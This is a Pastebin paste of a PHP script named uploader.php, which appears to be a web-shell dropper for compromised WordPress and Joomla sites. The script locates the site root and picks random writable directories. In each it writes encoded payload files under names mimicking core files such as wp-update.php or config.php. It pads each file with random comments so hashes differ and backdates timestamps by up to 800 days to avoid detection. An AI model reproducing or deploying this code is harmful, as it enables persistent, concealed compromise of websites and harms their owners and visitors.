PalmaSolutions

uploader.php

Apr 6th, 2018
278
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.96 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ERROR | E_WARNING | E_PARSE);
  3.  
  4. function filter_dirs($dir) {
  5.     global $site_root_dir;
  6.  
  7.     $_dir = substr($dir, strlen($site_root_dir));
  8.     return preg_match("/^\/[a-zA-Z\_\-]+\//", $_dir);
  9. }
  10.  
  11. function get_all_dirs($dir) {
  12.     global $all_dirs;
  13.  
  14.     foreach(glob("$dir/*") as $file) {
  15.         if(PLATFORM == WORDPRESS) {
  16.             if(strpos($file, 'wp-content') === false && strpos($file, 'wp-admin') === false && strpos($file, 'wp-includes') === false) {
  17.                 continue;
  18.             }
  19.         }
  20.    
  21.         if(is_dir($file)) {
  22.             if(is_writable($file)) {
  23.                 $all_dirs[] = $file;
  24.             }
  25.             get_all_dirs($file);
  26.         }
  27.     }
  28. }
  29.  
  30. function get_file_name($path) {
  31.     $jm_file_names = array(
  32.         'cache.php',
  33.         'configure.php',
  34.         'settings.php',
  35.         'config.php',
  36.         'admin.php',
  37.         'admin-class.php',
  38.         'menus.php',
  39.         'components.php',
  40.         'languages.php',
  41.         'class-library.php',
  42.         'include.php',
  43.         'common.php'
  44.     );
  45.    
  46.     $wp_file_names = array(
  47.         'wp-update.php',
  48.         'wp-block.php',
  49.         'wp-blog.php',
  50.         'wp-content.php',
  51.         'wp-ping.php',
  52.         'wp-widgets.php',
  53.         'wp-search.php',
  54.         'wp-find.php',
  55.         'wp-post-update.php',
  56.         'wp-page-update.php',
  57.         'wp-theme.php',
  58.         'wp-template.php',
  59.         'wp-query.php',
  60.         'wp-admin-block.php',
  61.         'wp-category.php',
  62.         'wp-rewrite.php',
  63.         'wp-taxonomy.php',
  64.         'wp-xml-function.php',
  65.         'wp-plugins.php',
  66.         'wp-register.php',
  67.         'admin-menu.php'
  68.     );
  69.    
  70.     if(PLATFORM == 'WORDPRESS') {
  71.         $file_names = $wp_file_names;
  72.     }
  73.     else {
  74.         $file_names = $jm_file_names;
  75.     }
  76.    
  77.     do {
  78.         $full_path = $path . $file_names[array_rand($file_names)];
  79.     }while(file_exists($full_path));
  80.    
  81.     return $full_path;
  82. }
  83.  
  84. @set_time_limit(300);
  85.  
  86. $start_time = time();
  87.  
  88. define('MAX_EXEC_TIME', 60);
  89. define("MAX_LEVELS_UP", 7);
  90.  
  91.  
  92. $orig_dir = getcwd();
  93.  
  94. $counter = 0;
  95. do{
  96.     foreach(glob("*") as $file) {
  97.         if(strpos($file, "wp-config.php") !== false) {
  98.             define('PLATFORM', 'WORDPRESS');
  99.         }
  100.         if(strpos($file, "configuration.php") !== false) {
  101.             define('PLATFORM', 'JOOMLA');
  102.         }
  103.     }
  104.     if(!defined('PLATFORM')) {
  105.         chdir('..');
  106.         $counter++;
  107.     }
  108.     else {
  109.         $site_root_dir = getcwd();
  110.     }
  111. }while(!defined('PLATFORM') && $counter < MAX_LEVELS_UP);
  112.  
  113. if(!defined('PLATFORM')) {
  114.     exit("Unknown platform!");
  115. }
  116.  
  117. $all_dirs = array();
  118.  
  119. get_all_dirs(getcwd());
  120.  
  121. //$all_dirs = array_filter($all_dirs, "filter_dirs");
  122.  
  123. if(count($all_dirs) >= 10) {
  124.     $num_of_rand_dirs = 10;
  125. }
  126. else {
  127.     $num_of_rand_dirs = count($all_dirs);
  128. }
  129.  
  130. if($num_of_rand_dirs > count($all_dirs)) {
  131.     $num_of_rand_dirs = count($all_dirs);
  132. }
  133.  
  134. $chosen_dirs_indexes = array_rand($all_dirs, $num_of_rand_dirs);
  135.  
  136. print "PLATFORM : " . PLATFORM . "<br>\n";
  137.  
  138. if(PLATFORM == 'WORDPRESS') {
  139.     $contents = array($wp_enc_file, $wp_dec_file);
  140. }
  141.  
  142. if(PLATFORM == 'JOOMLA') {
  143.     $contents = array($jm_enc_file, $jm_dec_file);
  144. }
  145.  
  146. $web_dirname = dirname($_SERVER['REQUEST_URI']);
  147. $site_root_dir_splitted = explode("/", $site_root_dir);
  148. $web_dir_splitted = explode("/", $web_dirname);
  149.  
  150. if($site_root_dir_splitted[count($site_root_dir_splitted)-1] == $web_dir_splitted[1]) {
  151.     $site_dir = $web_dir_splitted[1];
  152. }
  153.  
  154. $content_type = 0;
  155. $periods_count = 0;
  156. $string = implode(",", range('a','z'));
  157. foreach($chosen_dirs_indexes as $chosen_dir_index) {
  158.     if((time() - $start_time) > MAX_EXEC_TIME) {
  159.         exit;
  160.     }
  161.  
  162.     $file_name = get_file_name($all_dirs[$chosen_dir_index] . '/');
  163.     if($periods_count < 2) {
  164.         $periods_count++;
  165.         $file_name .= '.';
  166.     }
  167.     file_put_contents($file_name, $contents[$content_type] . "\n" . '<?php /*'.str_repeat(substr($string, 0, rand(1, strlen($string))), rand(1, 5)).'*/ ?>');
  168.     touch($file_name, time() - rand(60*60*24, 60*60*24*800));
  169.     $file_rel_path = substr($file_name, strlen($site_root_dir));
  170.     if(!isset($site_dir)) {
  171.         $site_dir = '';
  172.     }
  173.     $file_full_path = $site_dir . $file_rel_path;
  174.     if($content_type == 0) {
  175.         $content_type = 1;
  176.     }
  177.     else {
  178.         $content_type = 0;
  179.     }
  180.     print preg_replace("/^\//", "", $file_full_path) . "<br>\n";
  181.     flush();
  182. }
  183. //print PLATFORM;
  184. //print_r($all_dirs);
  185. ?>
Advertisement
Add Comment
Please, Sign In to add comment